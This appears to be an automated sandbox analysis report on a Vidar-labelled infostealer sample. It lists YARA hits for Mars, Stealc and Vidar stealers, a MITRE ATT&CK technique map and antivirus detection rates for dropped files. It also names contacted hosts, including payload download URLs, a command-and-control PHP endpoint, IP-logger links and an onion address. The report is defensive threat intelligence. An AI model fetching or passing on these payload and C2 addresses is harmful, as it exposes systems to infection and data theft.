Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.2d80e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.2da0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.2e10e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.2e10e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.2cb0e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.2e80e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3216770112.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3183308151.0000000000843000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3298037878.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3398211956.00000000031C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3043788624.0000000000843000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3409633902.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3061309929.0000000000843000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3263335917.0000000000843000.00000040.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3250452098.00000000032C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3259586341.0000000000843000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VT4T5BrKWgz9d48cmEd8ePkZ.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sUyDoVTGsfEnMY0oeyexTBut.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VvPx7JMqkEvTJAQ2rPS2y2wf.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe PID: 7568, type: MEMORYSTR

Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2757736487.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2437075338.00000000022D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.2757736487.0000000000444000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: syncUpd.exe PID: 5376, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2757736487.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2437075338.00000000022D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.2d80e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.2da0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.2e10e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.2e10e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.2cb0e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.2e80e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3216770112.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3183308151.0000000000843000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3298037878.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3398211956.00000000031C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3043788624.0000000000843000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3409633902.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3061309929.0000000000843000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3263335917.0000000000843000.00000040.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3250452098.00000000032C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3259586341.0000000000843000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VT4T5BrKWgz9d48cmEd8ePkZ.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sUyDoVTGsfEnMY0oeyexTBut.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VvPx7JMqkEvTJAQ2rPS2y2wf.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe PID: 7568, type: MEMORYSTR

Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2757736487.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2437075338.00000000022D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.2757736487.0000000000444000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2758288970.0000000000958000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: syncUpd.exe PID: 5376, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.syncUpd.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.syncUpd.exe.8f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2757736487.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2437075338.00000000022D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	21 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	21 Native API	1 DLL Side-Loading	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Clipboard Data	14 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Scheduled Task/Job	1 Scheduled Task/Job	21 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	211 Software Packing	NTDS	147 System Information Discovery	Distributed Component Object Model	Input Capture	11 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	241 Security Software Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	141 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	1 Proxy	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	411 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	Embedded Payloads	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
dl7WL77rkA.exe	62%	ReversingLabs	Win64.Spyware.Vidar
dl7WL77rkA.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\syncUpd.exe	100%	Avira	HEUR/AGEN.1316657
C:\Users\user\AppData\Local\S5LR4MxNYkipKICUEWwDRrcX.exe	100%	Avira	TR/Crypt.XPACK.Gen7
C:\Users\user\AppData\Local\RLHqIpTNCBsmKjKBdfgpamFx.exe	100%	Avira	TR/Crypt.XPACK.Gen7
C:\Users\user\AppData\Local\Temp\syncUpd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\SNePs0JIjHDOAKzI11CQ043K.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\IiRP3mWif0xpaQsabblBwYAE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\IpW6W2Yjx6z6D3j66j3N2tH5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\H7TIhgIvG1Yhal1QnwrEdA0q.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\S5LR4MxNYkipKICUEWwDRrcX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RLHqIpTNCBsmKjKBdfgpamFx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Jye7PnMsJdWwQaaabqxbHITx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\4xb6JU3I8UdzuT7ogqFnBL7Y.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RLHqIpTNCBsmKjKBdfgpamFx.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\AppData\Local\S5LR4MxNYkipKICUEWwDRrcX.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\AppData\Local\Temp\BroomSetup.exe	75%	ReversingLabs	Win32.Trojan.Znyonm
C:\Users\user\AppData\Local\Temp\nsh1C9B.tmp\INetC.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\syncUpd.exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Temp\wfplwfs.exe	47%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\AppData\Local\bAqeOotivBzC3mPFFhCilCro.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\AppData\Local\wHBfjqvEYiXClqcsZASJdtJJ.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe	58%	ReversingLabs	Win32.Trojan.RealProtect
C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe	58%	ReversingLabs	Win32.Trojan.RealProtect

Name	IP	Active	Malicious
bitbucket.org	104.192.141.1	true	false
yip.su	172.67.169.89	true	false
github.com	140.82.112.4	true	false
lawyerbuyer.org	104.21.63.71	true	false
namemail.org	172.67.178.183	true	false
ittrade.org	172.67.177.133	true	false
pastebin.com	104.20.68.143	true	true
sty.ink	172.67.200.219	true	false
iplogger.com	172.67.188.178	true	false
s3-w.us-east-1.amazonaws.com	52.217.234.57	true	false
ktxcomay.com.vn	222.255.238.159	true	false
grabify.org	172.67.168.159	true	false
artemis-rat.com	104.21.54.158	true	true
shipofdestiny.com	104.21.32.142	true	false
lati.lb.opera.technology	107.167.110.211	true	false
bbuseruploads.s3.amazonaws.com	unknown	unknown	true
net.geo.opera.com	unknown	unknown	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe	false
https://github.com/TheSpeedX/PROXY-List/blob/master/http.txt	false
http://185.172.128.126/InstallSetup5.exe	false
https://iplogger.com/1lyxz	false
http://15.204.49.148/files/Silent.exe	false
http://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767	false
http://185.172.128.145/3cd2b41cbde8fc9c.php	true
https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe	false
https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767	false
https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe	false

URLs from Memory and Binaries

Name	Source	Malicious
https://datadumpcloud.orghttps://datadumpcloud.org	VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1C4000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C012000.00000004.00001000.00020000.00000000.sdmp	false
https://bbuseruploads.s3.amazonaws.com/fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-	AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false
http://invalidlog.txtlookup	VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	false
https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionCommonProgr	VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C078000.00000004.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C108000.00000004.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1DA000.00000004.00001000.00020000.00000000.sdmp	true
http://yandex.com/bots)Opera	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion	sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C128000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C07A000.00000004.00001000.00020000.00000000.sdmp	true
https://github.com/Snawoot/opera-proxy/releases/download/v1.2.2/opera-proxy.windows-386.exeBlackBerr	VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	false
http://185.172.128.187/H	kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000002.2700588489.0000000000753000.00000004.00000020.00020000.00000000.sdmp, kDgMkoNM3lKxwY8D8wOiP15F.exe, 0000000D.00000003.2700108075.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false
https://yip.su/redirect-	AddInProcess32.exe, 00000005.00000002.4510003590.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false
https://ittrade.org	AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp	false
https://grabify.org/	CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004FF000.00000004.00000020.00020000.00000000.sdmp	false
https://grabify.org/1wxSs	CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	false
https://grabify.org/1wxSu	CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004FF000.00000004.00000020.00020000.00000000.sdmp	false
https://counter.yadro.ru/hit?	AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false
